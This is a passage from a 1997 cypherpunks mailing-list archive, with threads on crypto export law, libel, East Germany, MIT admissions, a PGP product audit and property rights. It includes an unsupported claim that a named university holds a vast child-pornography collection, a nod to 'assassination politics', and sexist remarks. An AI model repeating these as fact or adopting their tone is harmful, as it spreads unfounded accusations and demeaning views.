>
>Nathaniel Levy, a psychology major at New York State University, was
>charged Wednesday with using the Internet to transmit photos of
>infants having sex with adults, the New York state attorney general
>said.

This is hilarious, given the fact that San Francisco State University's psychology department has what probably amounts to the largest collection of child pornography on the planet. Their collection also includes primary sources on any other type of kink you can imagine. And some that no sane person ever could imagine.

[You have to be at least working on a PhD to access the collection.]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 21:20:04 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: Fighting the cybercensor
In-Reply-To: <01BC0D5D.D7CD3200@king2-20.cnw.com>
Message-ID: <Pine.SOL.3.93.970129001058.16757C-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, blanc wrote:

> From:	jim bell
> 
> [ on discussing AP on the cpunk list]:
> 
> Because it's on-topic, that's why.  Because it's not merely a list
> concerning METHODS of encryption, it's also about the _reasons_ for using
> encryption, as well as the _effects_ (both small-scale and large-scale) of
> using encryption.
> --
> 
[...] 
> I was thinking the reason that most people don't think of applying AP is 
> because they're normal.   It is not the first thought of a normal person to 
> kill another human, just because they've been offended - even severely.  It 
> takes an extraordinary circumstance to motivate one to such destruction, 
> especially if there are a thousand armed troops supporting the object of 
> the attempt.
>
	Any normal person has potential to kill, 
	why they don't...?  They have other thoughts 
	and dreams for a better future.

oksas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 22:26:49 -0800 (PST)
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290545.GAA06984@basement.replay.com>
Message-ID: <199701290622.AAA04564@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


can any kind soul tell me, what are the SAT scores needed to be in the top
10%, top 1%, and top 0.1% of all the students who take these tests?

thank you

igor

Anonymous wrote:
> 
> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 21:30:38 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <3.0.1.32.19970128205620.00624060@popd.ix.netcom.com>
Message-ID: <199701290528.AAA01874@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


One point I had forgotten. The demonstration took place
on the 50th anniversary of Kristallnacht. This is one explanation
as to why the border guards did not attempt to open fire with
firearms or attempt to break up the demonstration with tear gas.

Also consider that the Tiennamen square massacre had occurred
only a few months before and it did not appear to have settled
the issue of who controlled china. Many of the dissidents were still
at large, China was a pariah nation. East Germany had recently been
visited by Gorbachev who did not appear ready to help keep the
regime if things got sticky.

The mass defections were taking place at their peak at a rate of
tens of thousands in a day. Something like a quarter of the youth
between 18 and 25 had defected. Bill if anything understates this point.

Certainly if the people decide that the structures of state are
not worth supporting change can be astonishing. 

I think that the spending into bankrupcy thesis might be argued for
the case of the USSR and more plausibly the US. The problem is that
I don't think that the military spending in either case bore any
relation to need, to the threat from the other side or to any
rational determination. I think both budgets simply increased to
the limit that the economies could support and beyond. 

There is a similar problem in the third world today. Many third world
countries spend more on arms than they do on health or education.
Much of the alledged "foreign aid" is in fact subsidies for this 
trade. The arms are primarily to suppress internal dissent. There
are plenty of governments left in need of similar reform.

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 29 Jan 1997 00:24:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Circumventing the ITAR
In-Reply-To: <199701290355.TAA17298@toad.com>
Message-ID: <32EF0C85.167E@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark Rosen wrote:
> 
>         I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for
> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?
> It's not all that much different from what MIT has up for PGP.

	What you need to do to provide FTP access to crypto
software is spelled out in the EAR regulations. Here is a
summary. I am not a lawyer.

1) Users (downloaders) should be asked to answer some
questions to indicate that:

	They are aware of the crypto export regulations.
	They and their computers are in the US/Canada.
	They intend to follow the the crypto export regulations
		and not export the software they download.
	They are US persons as defined in the EAR regulations.

2) The server should check that the client site requesting the
download is in the US or Canada.

In other words, just displaying a warning is not enough.

>         Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

	I wouldn't try to circumvent the regulations by trying
to follow the letter of the law while ignoring its spirit. You
don't have to be convicted of a crime to make life a lot difficult.
Ask Phil Zimmerman, who never even uploaded pgp to the Internet.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 21:50:25 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701290552.XAA02798@smoke.suba.com>
Message-ID: <199701290550.AAA01959@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> > I am a cyber-revolutionary and the world has bought into
> > the chaos of our revolution. I never intended the Web to be a tool
> > for confirming the present social order which is manifestly 
> > corrupt.
> 
>      Which of course is why you were in contact with Billy's boys right?

We did consider very early on the idea of proceedings of congress
annotated with the campaign contributions of the various speakers.

Imagine if instead of Newt Gingrich you saw Newt Gingrich ($243,493
Tobbacco Industry) as a speaker note.

We were in contact with the Clinton folks because the Bush guys
ignored the Web and the Internet completely. They just were
not interested. Nor were the Perot folks either - odd since the
electronic townhall was a big part of their platform. Even in 
this campaign the Perot page could not be read with Netscape 6 months
before the election.

On the other hand have a look at www.buchanan.org If you thought that
Pat got a bum rap off the press when they called him a neo-Nazi
just take a look at his site. Buchanan Brigade? Look at the
choice of topics for the speaches. 

	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 22:59:02 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EEF0AC.BF1@gte.net>
Message-ID: <199701290653.AAA04799@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Too bad.  They're cleaner, more polite, less aggressive, make far
> better love than men.  If only they were interested in real computing
> (other than as a job or school work).

Most of women are not worthy.

>  If only they were interested in real computing
> (other than as a job or school work).

I know one who is truly interested in computing.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mjw@VNET.IBM.COM
Date: Tue, 28 Jan 1997 22:04:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Altavista
Message-ID: <199701290603.WAA20485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:    Mark Waddington
Subject: Altavista

> However, the doubleclick.net ads appear to bear no relationship to the
> keywords being searched...

Interestingly, I've just noticed over the last couple of days that the in-line
ads are directly relevant to the search words I enter. I did a search yesterday
on "Quicken" and "security" and all the in-line ads I was shown referred to
security or penetration detection products.

Mark Waddington
Interactive Financial Services         | Phone : +61-3-96266574
Business Development Manager           | Mobile: +61-412-217316
IBM Asia Pacific                       | Fax   : +61-3-96266273




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 23:18:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199701290212.UAA06654@einstein>
Message-ID: <32EF1652.1AB7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 01:17:44 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel/slander & crypto relevancy (fwd)
Message-ID: <3.0.32.19970129012206.0073d510@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM 1/28/97 -0600, Jim Choate:
>> From: Greg Broiles <gbroiles@netbox.com>
>> Civil actions against people doing "graffiti" are only interesting where
>> the defendant has assets worth suing for. This economic dimension
>> substantially limits the number of suits which will be brought.
>
>Thank you for agreeing with my thesis that the legal industry is one
>driven by monetary gain and not justice. It is the one major problem
>with law today, it ignores those who are not 'worth it'. Justice is
>supposed to be blind and until that happens there can be no true
>liberty. Law should be involved in rights and wrongs and not 'how much
>money do I need to buy that villa in Spain'.

Um, I was making the reciprocal of your point - that people with no assets
have a special *advantage* with respect to civil suits, they're able to get
away with a fair amount of misbehavior because it's not cost-effective for
plaintiffs to sue them. If you're a defendant, being ignored as not 'worth
it' is a good thing, not a bad thing.

>There is also the aspect of 'reputation' of the organization which was
>defamed. This will become even more critical to good business over the
>Internet in the future than it is now. Now the only really important
>'reputation' that one has to worry about is their credit report.

I disagree strongly here. Think about the reputations of Odwalla and
Sizzler and (Burger King? can't remember) after their E. Coli problems.
Think about the reputation of Radio Shack for making mostly crappy
products. Think about the reputation of some ISP's (Netcom, AOL) for
continuing to charge people's credit cards for months after a cancellation.
Reputation has many dimensions beyond credit reports. 

> Another aspect of this
>that keeps coming up is one of 'big' corporations with 'lots' of money,
>this monotonicity in legal thought is the reason I refer to the 'legal
>industry' and not 'legal profession'. Currently the main force driving
>law is how much money is available. Expansions of liberty simply can't
>happen in this environment because there is no mechanism to protect
>'little' organizations or persons without 'lots' of cash. This problem is
>one that is not being addressed by anyone, most especialy lawyers who
>will loose income which they aren't apt to do voluntarily.

I agree that people get screwed because they can't afford to litigate or
they can't afford a [good] attorney. But I think that the economic
dimension to litigation is not necessarily all bad - if litigation were
costless, what would prevent people from suing over essentially negligible
disputes? I think it's good for people to stop and ask themselves "Is this
dispute really worth fighting over?" The relatively high cost of litigation
is a way to ration access to a relatively expensive resource, e.g., the
courts. If litigants don't pay that cost, then taxpayers will. (And
shifting more costs to losing litigants makes it easier, not harder, to be
effectively judgment-proof by having few assets.)

>> Criminal prosecutions for defamation (in the case of "graffiti") are still
>> unlikely - a much more straightforward charge would be unauthorized access
>> to a computer or some flavor of fraud, depending on the facts.
>
>This would be hard to do in the situation such as a mailing list because
>the parties would have 'authorized access' and it does not include the issue
>of inside parties nor 'web bbs's' where parties can enter comments and
>other statements in a 'authorized' manner. There are mechanisms to use 
>computers for abuse of other parties besides hacking.

I don't think that that web BBS or mailing list messages alone will lead to
much criminal liability for defamation because I think it's difficult to do
a lot of harm in that medium. BBS's have existed for 20+ years now - and
how many online defamation cases have we seen? Maybe 10, total. Off the top
of my head the only ones I remember are _Cubby v. Compuserve_ and
_Stratton-Oakmont_, but there are probably others. Still, we're seeing
what, at best one reported case for every 2 years? Online defamation
liability exists, but I don't think there's ever going to be an avalanche
of cases, simply because the damage involved tends to be relatively small
compared to the monetary and emotional costs of litigation. 

>The point is that if joe-six-pack isn't secure in knowing that his views
>and expression are not protected from abuse he won't use it. We all loose
>in that case.

But Joe Sixpack's lack of protection from abuse is also Joe Sixpack's
protection from prosecution when he hasn't done anything wrong. Look at how
pissed off some people are when Sandy moderates the list - imagine how much
worse it would be if prosecutors were sifting through the list, identifying
messages they thought were "over the line" with respect to defamation and
then prosecuting the wrongdoers. Yow. Some people would be facing
three-strikes minimums based on a single day's messages. :)

I much prefer a world where we can engage in spirited debate without being
afraid of prosecution (or civil suits) over a world where a tiny misstep
means jail or litigation. You're of course free to want something else, but
it's hard for me to see the logic behind arguing against private moderation
but in favor of significant state regulation. 

Look at the way that big corporations use SLAPP suits to pick on Ma and Pa
Kettle now, and imagine what big corporations could do if it was easier to
create criminal liability for defamation. I think your proposed
strengthening of defamation rules will prove to hurt the "little guys", not
help them. 

>In this example, if party A makes a statement and then B changes it and
>then re-distributes it as original comments by A then there is a problem
>irrespective of the monetary worth of A or B. Digital signatures in and of
>themselves won't help this from happening unless it is required to include
>the full text and signature of any quote in any subsequent use of that
>material otherwise the quote and the digital signature are out of sync and
>therefore worthless.

But people who receive the message unsigned know they're getting an
unsigned message (or know that it was signed by the quoter, but not the
quoted author) and can make the appropriate assumptions about the truth of
the attributions, and adjust their assessment of the veracity of the quoter
if it turns out that the quoter is a liar, or if someone challenges the
quoter to produce a signed version of the statement and they cannot.

We seem to have survived OK so far without special rules to punish people
for lying - why do we need special ones for the Net? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 01:27:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290658.WAA21810@toad.com>
Message-ID: <32EF1825.2ECF@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
> 
> can any kind soul tell me, what are the SAT scores needed to be in
> the top 10%, top 1%, and top 0.1% of all the students who take these
> tests?

I'm not sure what this has to do with, well, anything, but here goes.

Scores from before April 1995 are not comparable to scores today because 
the method of scoring has changed to recenter the distribution. The 99th 
percentile starts at 1440 for women and 1490 for men. Full stats at
http://www.collegeboard.org/sat/html/topsrs29.html

Please note that this is for "college-bound seniors." It's not a stat 
that applies to the general population (i.e., 1490+ is the top 1% of the 
elite 30% or so that go to college), and it doesn't include people who 
were satisfied with the score they got the beginning of their junior 
year, and didn't take it again (i.e., me).

I don't know about MIT, but I'd think that their numbers would be even 
higher than those for Stanford, because MIT doesn't recruit football 
players. Some of Stanford's numbers are at 
http://www-portfolio.stanford.edu/105549

MIT and the like aren't impossible. Fucking elitist, yes. Worth it? 
Probably, though two of my closest and most intelligent friends have no 
college degrees at all. Of course, they had to earn people's respect, 
whereas I had people recruiting me based largely on the fact that I 
still had a pulse five years after taking the SAT. What counts is what 
people want you to do five years after that.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 01:17:46 -0800 (PST)
To: dthorn@gte.net
Subject: Re: [noise] RE: Shave the Whales
In-Reply-To: <c=US%a=_%p=GTE%l=NDHM06-970128140810Z-80293@ndhm06.ndhm.gtegsc.com>
Message-ID: <32EF1CB2.4416@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Mullen, Patrick wrote:
> > Is there a way we can keep the caricatures w/out getting the rest of the
> > message
> > w/ these postings?  I like the ASCII art, but...
> 
> BTW, some of the recent ones are pretty amazing: a bat, a scorpion,
> a cow, etc.

  Maybe we could have the original cypherpunks list saved as an
historical ASCII arts treasure.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 01:54:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701290627.WAA20943@toad.com>
Message-ID: <32EF1EBC.181D@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker wrote:
> 
> One point I had forgotten. The demonstration took place
> on the 50th anniversary of Kristallnacht. This is one explanation
> as to why the border guards did not attempt to open fire with
> firearms or attempt to break up the demonstration with tear gas.

I think the timing was a coincidence. (And I'm told that Kristallnacht 
wasn't well advertised in East Germany; especially after the Soviets 
sided the United Arab Republic, the official story was that Hitler had 
been exterminating good Communists, not Jews.) While the final week was 
pretty spectacular, the demonstrations and defections had been building 
for months, as you say:

> The mass defections were taking place at their peak at a rate of
> tens of thousands in a day. Something like a quarter of the youth
> between 18 and 25 had defected. Bill if anything understates this
> point.

I wasn't there, but an East German friend of mine was 20 when the wall 
came down. He was doing his compulsory military service at the time. 
Even in early 1987, as he was being interviewed by the Stasi concerning 
the direction the state would allow him to take his life, he says he 
felt no real fear telling them, up front, "Sure, I'll carry a gun, and 
I'll go where you tell me to go, but I will not hurt anyone."

They gave him a gun and put him on the front, where he waved to his 
friends as they walked across the border.

I think a lot of the border guards were like Thomas.

> I think that the spending into bankrupcy thesis might be argued for
> the case of the USSR and more plausibly the US. The problem is that
> I don't think that the military spending in either case bore any
> relation to need, to the threat from the other side or to any
> rational determination. I think both budgets simply increased to
> the limit that the economies could support and beyond.
> 
> There is a similar problem in the third world today. Many third world
> countries spend more on arms than they do on health or education.
> Much of the alledged "foreign aid" is in fact subsidies for this
> trade. The arms are primarily to suppress internal dissent. There
> are plenty of governments left in need of similar reform.

Yeah, yeah. Economics has soomething to do with it. But I think it comes 
down to "Sure, I'll carry a gun, and I'll go where you tell me to go, 
but I will not hurt anyone." Ideas matter.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 00:11:16 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EF00D3.5A71@gte.net>
Message-ID: <199701290807.CAA00493@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Too bad.  They're cleaner, more polite, less aggressive, make far
> > > better love than men.  If only they were interested in real computing
> > > (other than as a job or school work).
> 
> > Most of women are not worthy.
> > I know one who is truly interested in computing.
> 
> How many eyes, ears, and noses does she have?  Is she particularly
> nervous around microwave ovens?  Does she wear strange, mismatched
> clothing?  Any strange eating habits, such as French fries with a
> spoon?  No sense of humor, or laughs at times when nobody else does?
> Takes off a lot of days sick?  Takes a lot of notes?  Uses any common
> items in a bizarre way, such as nail-painting with Wite-out?  Asks
> a lot of questions that any normal person would know?  Secretive
> about her personal life?  Does she ever talk to herself, as in
> practicing speech?  -just curious.
> 

She sings to herself, but the answer to all other true/false questions 
is no.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 02:11:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista sprouts a hole ...
In-Reply-To: <199701290126.RAA11363@toad.com>
Message-ID: <32EF22D3.1344@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I mentioned that here and in comp.org.eff.talk a couple weeks ago.
No need to turn images off. Just tell AltaVista you want text-only:

 http://altavista.digital.com/cgi-bin/query?pg=&text=yes

You may also find the text-only page a hell of a lot faster.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 02:22:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
In-Reply-To: <199701290656.WAA21795@toad.com>
Message-ID: <32EF2569.7E09@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Let me plug Carnegie Mellon University, which consistently ties with
> MIT and one of them California schools for first place in computer
> science.

You must be joking. After all you've said about the school, you're 
recommending it? Isn't "Mr. L-18 Tag" the head of the department now?

Anyway, our correspondent is asking the wrong question. There is no 
"best" school. If you want to be a brilliant programmer, I think you 
have to be born that way. If you want theory, you need to be specific 
about your research interests. If you want mass-marketable experience in 
Windoze, avoid the big-name schools, which tend to treat Windows with 
the respect is deserves. (At Stanford, despite having a very nice Paul 
Allen Center for Integrated Systems and a posh new Bill Gates 
Information Sciences building, all instruction is done in Think C or 
UNIX.)

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Jan 1997 18:05:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto verification needed for Pretty Safe Mail
Message-ID: <199701290156.CAA27377@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


There have been questions raised on the newsgroups regarding
Pretty Safe Mail, arguably the best implementation of a PGP product
for the Macintosh.

In response, the product manager at Highware has requested that
a trusted third party verify the security of Pretty Safe Mail. However,
a NON-U.S. cryptologer is needed.

I'm including the post below. Please forward to any people you know
who may qualify.

Pretty Safe Mail is a GREAT product. If it can be shown to be safe
and effective, it will do wonders to spread the use of strong crypto.

=====

From: axel@highware.com (Axel de Landtsheer)
Newsgroups: comp.security.pgp.discuss
Subject: Re: Concerned about Pretty Safe Mail for Mac


>  I'm concerned about the product "Pretty Safe Mail" for the Macintosh,
>by a company called Highware. I was wondering whether anyone here had
>tried evaluating it at all.
>
>  It is a complete PGP implementation (not a front-end). They claim
>to have licensed some of PRZ's code from PGP. However, as far as I
>can tell, they are not making any of the source code available.

The source code for PSM is indeed not available. We are however eager to
have the code checked by any trusted source. These sources cannot be US
companies because of the new US regulations which state that US companies
must not give such support to overseas companies. Us being a Belgian
company, this makes things a little more difficult. Does anybody have a
suggestion for such a trusted source outside the US?

>  As someone on the comp.security.pgp newsgroups pointed out, writing
>a wonderful user interface on a PGP trojan horse that either crippled
>the session key generator or used the session key to leak random
>portions of secret key primes would be a perfect tactic for a
>government wishing to penetrate PGP security. With such a great
>interface, compared to the original PGP, it can't help but become
>widely used.

PSM is not a Trojan Horse. Does any trusted source want to check that?

>  I realize that without the source code, it's a major hassle, but
>has anyone looked at Pretty Safe Mail (previously called Safemail)
>at all for suspicious behavior? For example:
>
>  1) non-random session key generation?
>  2) non-random key pair generation?
>  3) unnecessary disk access to secret keys?
>  4) anything else?

Many people are worried about the random-key generation because they do not
need to bang away on the keyboard for five minutes when they create a key
pair. Apparently, this seems to loosen their nerves (I heard some people
created about 10 key pairs a day - just a joke).
In short, we use all events that happen on the Mac (clicks, typing, opening
of windows, display of icons, ...) together with the time they happen, and
encrypt these to fill a table which is the starting point for the
random-number generator. Why make people type away on the keyboard if you
have enough random events to start from?

Again, we want to have this checked by a trusted source asap...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Axel de Landtsheer | Highware, Inc.
                   | 109 av. H. Jaspar, 1060 Brussels, Belgium
Product Manager    | voice: +32 2 537-6810 fax: +32 2 537-5155
axel@highware.com  | http://www.highware.com, ftp://ftp.highware.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To obtain my PGP key, send me a message with subject "Send PGP key"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 29 Jan 1997 02:17:12 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701290642.WAA21277@toad.com>
Message-ID: <199701291120.DAA01312@songbird.com>
MIME-Version: 1.0
Content-Type: text


snow allegedly said:
> 
> Phill wrote:
> > I'm a philosophical anarchist and I don't consider the state to have
> > "rights" over its "subjects", nor do I believe in the pure ideology of
> > property you do.
> > 
> > Its worth noting that the origin of property is theft. In the case of the
> 
>     BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> that _my_ property is the result of ME stealing, and hence what I OWN belongs
> to the community IS theft.

He was making a slightly more subtle point, I believe, though fallacious 
just the same.  It is clear that "ownership" or "property rights" are 
constructs of society.  That is, property rights are rights conferred 
on the individual by the society.  For example, if society determines 
that you don't own your house, then you don't own it.  Contrariwise, if 
you are alone on a desert island you "own" whatever you say you own, 
since at that point you are a society of one -- you want the Milky 
Way -- it's yours -- you just grant yourself full rights and title to 
it.  So the origin of property isn't theft, and it isn't labor -- 
it's whatever society says it is.

Of course, "society" is not a monolith, and it may be at odds with itself.

> I work, and as the result of that work something is
> created. That something is MINE to do with as I will. If I choose to sell that
> work for money, that money is mine. If I trade that money for shoes, those 
> shoes are mine. THere is no theft involved.

Possession of objects like shoes is of no consequence -- they 
aren't the kind of propert that is at issue.  Land is the fundamental 
property item.  Arguably every piece of land in the world has been 
stolen from someone at one time or another.

> > controllers of China literally so since they stole most of their "property"
> > from the previous rulers.
> 
>      They "won" it in combat. 

Therefore, if I beat you over the head with a crowbar and take your 
shoes, it is not theft, but merely the spoils of war.  That's 
convenient for those with big crowbars.

> The people of china obviously prefered new 
> government to the old one, or they would have prevented the takeover. 

What a crock.  Obviously, by your reasoning, every murder victim must 
secretly have preferred death, otherwise they would have prevented it.

> > I believe that the relationship between a state and individual is
> > a much more complex one than the slavish subjection model
> > you propose. In this I am in agreement with practically every
> > philosopher since Locke.
> 
>      Practically every philosopher since Locke has recieved their education
> at a Government or "Elite" sponsored school, and made their livings the same 
> way. I'm not claiming conspiracy here, but those that feed at the trough 
> aren't going to insult it overmuch.

Like you, for example?  You are feeding at the trough of society just 
as much as anyone else.  You wouldn't be on the net, otherwise.

But I agree, citing "every philosopher since Locke" is bogus.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 03:22:59 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <3.0.32.19970129032232.0077eabc@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 PM 1/28/97 -0600, Jim Choate wrote:

>It has been asserted by at least one member that the 1st Amendment protects
>libelous or other defamatory speech. 

Defamation is not protected by the First Amendment; but the First Amendment
limits the application of defamation law in many circumstances. For
example, the First Amendment requires plaintiffs to prove "actual malice"
if they are a public official, public figure, or a private person seeking
punitive damages.

So if you want to think of defamatory statements as those which are false
and injurious to someone's reputation, yes, the First Amendment protects
some of them. (By definition, defamation is outside the protection of the
First Amendment, but I get the impression that you're not trying to use it
as a term of art.) 

>This is hokem. The 1st most certainly does not protect lies in any form.

The First Amendment protects some lies. As Justice Powell wrote for the
majority in _Gertz v. Robert Welch_, 418 U.S. 323, 339 (1974):

"Under the First Amendment, there is no such thing as a false idea. However
pernicious an opinion may seem, we depend for its correction not on the
conscience of judges and juries, but on the competition of other ideas. But
there is no constitutional value in false statements of fact. Neither the
intentional lie nor the careless error materially advances society's
interest in "uninhibited, robust, and wide-open" debate on public issues.
New York Times Co. v. Sullivan, 376 U.S. at  270. They belong to that
category of utterances which "are no essential part of any exposition of
ideas, and are of such slight social value as a step to truth that any
benefit that may be derived from them is clearly outweighed by the social
interest in order and morality." Chaplinsky v. New Hampshire, 315 U.S. 568,
572 (1942).

"Although the erroneous statement of fact is not worthy of constitutional
protection, it is nevertheless inevitable in free debate. As James Madison
pointed out in the Report on the Virginia Resolutions of 1798: "Some degree
of abuse is inseparable from the proper use of every thing; and in no
instance is this more true than in that of the press." 4 J. Elliot, Debates
on the Federal Constitution of 1787, p. 571 (1876). And punishment of error
runs the risk of inducing a cautious and restrictive exercise of the
constitutionally guaranteed freedoms of speech and press. Our decisions
recognize that a rule of strict liability that compels a publisher or
broadcaster to guarantee the accuracy of his factual assertions may lead to
intolerable self-censorship. Allowing the media to avoid liability only by
proving the truth of all injurious statements does not accord adequate
protection to First Amendment liberties. As the Court stated in New York
